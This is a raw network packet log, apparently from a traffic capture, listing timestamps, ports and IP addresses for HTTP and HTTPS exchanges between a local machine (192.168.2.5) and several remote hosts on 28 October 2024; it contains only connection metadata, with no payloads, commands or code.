Oct 28, 2024 18:43:38.974024057 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.974030018 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.974045038 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.974054098 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.974061012 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.974065065 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.974076033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.974091053 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.974097967 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.974104881 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.974121094 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.974128008 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.974145889 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.974178076 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.974983931 CET	63597	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:38.974999905 CET	443	63597	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:38.975497961 CET	63598	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:38.975574017 CET	443	63598	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:38.977015972 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.977031946 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.977042913 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.977042913 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.977097988 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.979641914 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.979656935 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.979676008 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.979691029 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.979696989 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.979728937 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.979785919 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.979851961 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.979883909 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.979909897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.979926109 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.979942083 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.979959011 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.979969978 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.979974985 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.979991913 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.979999065 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980005980 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980021000 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980025053 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980041981 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980072021 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980432034 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980529070 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980544090 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980552912 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980561972 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980576038 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980580091 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980591059 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980609894 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980619907 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980635881 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980638027 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980652094 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980659008 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980668068 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980684042 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980690002 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980700016 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980711937 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980716944 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980735064 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980741024 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980766058 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980775118 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980788946 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980803967 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980819941 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980827093 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980827093 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980835915 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980850935 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980858088 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980865002 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980880976 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980889082 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980910063 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980911970 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980926037 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980933905 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980942011 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980957031 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980966091 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980966091 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.980973005 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980988979 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.980989933 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981002092 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981009007 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981012106 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981029987 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981044054 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981046915 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981050968 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981062889 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981066942 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981081009 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981084108 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981101036 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981122971 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981220961 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981249094 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981264114 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981277943 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981288910 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981295109 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981312990 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981318951 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981328011 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981331110 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981343031 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981359005 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981365919 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981384039 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981389999 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981401920 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981415987 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981422901 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981431961 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981432915 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981447935 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981457949 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981463909 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.981486082 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.981518030 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.000467062 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.000662088 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.074358940 CET	443	63583	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.074435949 CET	443	63583	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.074481010 CET	63583	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.074678898 CET	63583	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.074687004 CET	443	63583	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.074697018 CET	63583	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.074702024 CET	443	63583	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.074762106 CET	443	63585	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.074914932 CET	443	63585	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.074969053 CET	443	63584	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.074974060 CET	63585	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.075210094 CET	443	63584	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.075259924 CET	63584	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.076488018 CET	63584	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.076510906 CET	443	63584	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.077019930 CET	63585	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.077033043 CET	443	63585	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.080667973 CET	63599	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.080678940 CET	443	63599	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.080758095 CET	63599	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.081476927 CET	63599	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.081485987 CET	443	63599	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.084916115 CET	63600	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.084949970 CET	443	63600	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.085100889 CET	63600	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.085247993 CET	63600	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.085257053 CET	443	63600	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.085352898 CET	63601	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.085377932 CET	443	63601	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.085467100 CET	63601	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.085637093 CET	63601	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.085643053 CET	443	63601	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.123857021 CET	443	63590	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:39.124084949 CET	63590	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:39.124099016 CET	443	63590	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:39.125638962 CET	443	63590	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:39.125715971 CET	63590	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:39.126871109 CET	63590	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:39.126951933 CET	443	63590	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:39.127048016 CET	63590	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:39.133034945 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.139664888 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.171323061 CET	443	63590	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:39.175443888 CET	63590	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:39.175458908 CET	443	63590	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:39.209506035 CET	443	63588	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:39.210176945 CET	63588	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:39.210197926 CET	443	63588	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:39.211371899 CET	63588	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:39.211378098 CET	443	63588	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:39.211539984 CET	63588	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:39.211548090 CET	443	63588	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:39.222575903 CET	63590	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:39.313262939 CET	443	63590	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:39.334875107 CET	443	63590	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:39.334932089 CET	63590	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:39.335077047 CET	63590	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:39.335097075 CET	443	63590	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:39.339200020 CET	63602	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:39.339238882 CET	443	63602	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:39.339401007 CET	63602	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:39.339587927 CET	63602	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:39.339601040 CET	443	63602	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:39.419450998 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.419465065 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.419476986 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.419500113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.419511080 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.419522047 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.419524908 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.419543028 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.419558048 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.419568062 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.419569016 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.419579983 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.419589996 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.419589043 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.419610023 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.419614077 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.419626951 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.419636965 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.419644117 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.419696093 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.419696093 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.446854115 CET	63603	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:39.446892977 CET	443	63603	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:39.446996927 CET	63603	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:39.447367907 CET	63603	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:39.447381020 CET	443	63603	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:39.448404074 CET	63604	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:39.448426962 CET	443	63604	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:39.448919058 CET	63604	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:39.448988914 CET	63605	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:39.449011087 CET	443	63605	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:39.449064970 CET	63605	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:39.449218035 CET	63604	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:39.449230909 CET	443	63604	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:39.449322939 CET	63605	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:39.449333906 CET	443	63605	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:39.541709900 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.541919947 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.541932106 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.541941881 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.541954994 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.541966915 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.541975975 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.541975975 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.541980028 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.541992903 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.542002916 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.542007923 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.542016983 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.542021990 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.542026997 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.542036057 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.542046070 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.542057037 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.542062998 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.542069912 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.542076111 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.542081118 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.542093992 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.542098999 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.542108059 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.542113066 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.542120934 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.542140007 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.542145967 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.542159081 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.542197943 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.550096035 CET	443	63588	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:39.550154924 CET	443	63588	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:39.550194025 CET	443	63588	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:39.550240993 CET	63588	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:39.550251007 CET	443	63588	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:39.550290108 CET	63588	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:39.550714016 CET	63588	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:39.550725937 CET	443	63588	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:39.550787926 CET	63588	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:39.551042080 CET	443	63588	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:39.551125050 CET	443	63588	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:39.551220894 CET	63588	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:39.581808090 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.581821918 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.581832886 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.581893921 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.581916094 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.581919909 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.581929922 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.582093000 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.627877951 CET	63606	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:39.627943993 CET	443	63606	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:39.628055096 CET	63606	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:39.628547907 CET	63606	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:39.628582954 CET	443	63606	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:39.654556990 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654582024 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654592991 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654611111 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.654622078 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654633045 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654645920 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654647112 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.654670000 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.654705048 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654715061 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654733896 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.654738903 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654753923 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654758930 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.654766083 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654778957 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654779911 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.654789925 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654803038 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654804945 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.654817104 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654824018 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654839993 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.654866934 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654866934 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.654866934 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.654876947 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654886961 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654898882 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654903889 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.654911041 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654931068 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654937029 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.654954910 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654969931 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654973984 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.654973984 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.654983044 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.654995918 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655005932 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655005932 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655008078 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655020952 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655029058 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655040026 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655041933 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655066013 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655066013 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655077934 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655101061 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655103922 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655116081 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655123949 CET	80	63519	185.215.113.206	192.168.2.5
